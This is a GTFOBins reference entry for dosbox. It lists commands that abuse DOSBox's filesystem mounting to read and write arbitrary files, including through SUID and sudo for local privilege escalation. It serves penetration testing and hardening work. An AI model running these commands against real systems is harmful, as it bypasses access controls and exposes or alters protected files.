GTFOBins.github.io/_gtfobins/dosbox.md

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---
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description: Basically `dosbox` allows to mount the local file system, so that it can be altered using DOS commands. Note that the DOS filename convention ([8.3](https://en.wikipedia.org/wiki/8.3_filename)) is used.
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functions:
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file-read:
- description: The file content will be displayed in the DOSBox graphical window.
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code: |
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LFILE='\path\to\file_to_read'
dosbox -c 'mount c /' -c "type c:$LFILE"
- description: The file is copied to a readable location.
code: |
LFILE='\path\to\file_to_read'
dosbox -c 'mount c /' -c "copy c:$LFILE >c:\tmp\output" -c exit
cat '/tmp/OUTPUT'
file-write:
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
code: |
LFILE='\path\to\file_to_write'
dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
suid:
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
code: |
LFILE='\path\to\file_to_write'
./dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
sudo:
- description: Note that the name of the written file in the following example will be `FILE_TO_`.
code: |
LFILE='\path\to\file_to_write'
sudo dosbox -c 'mount c /' -c "echo DATA >c:$LFILE" -c exit
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---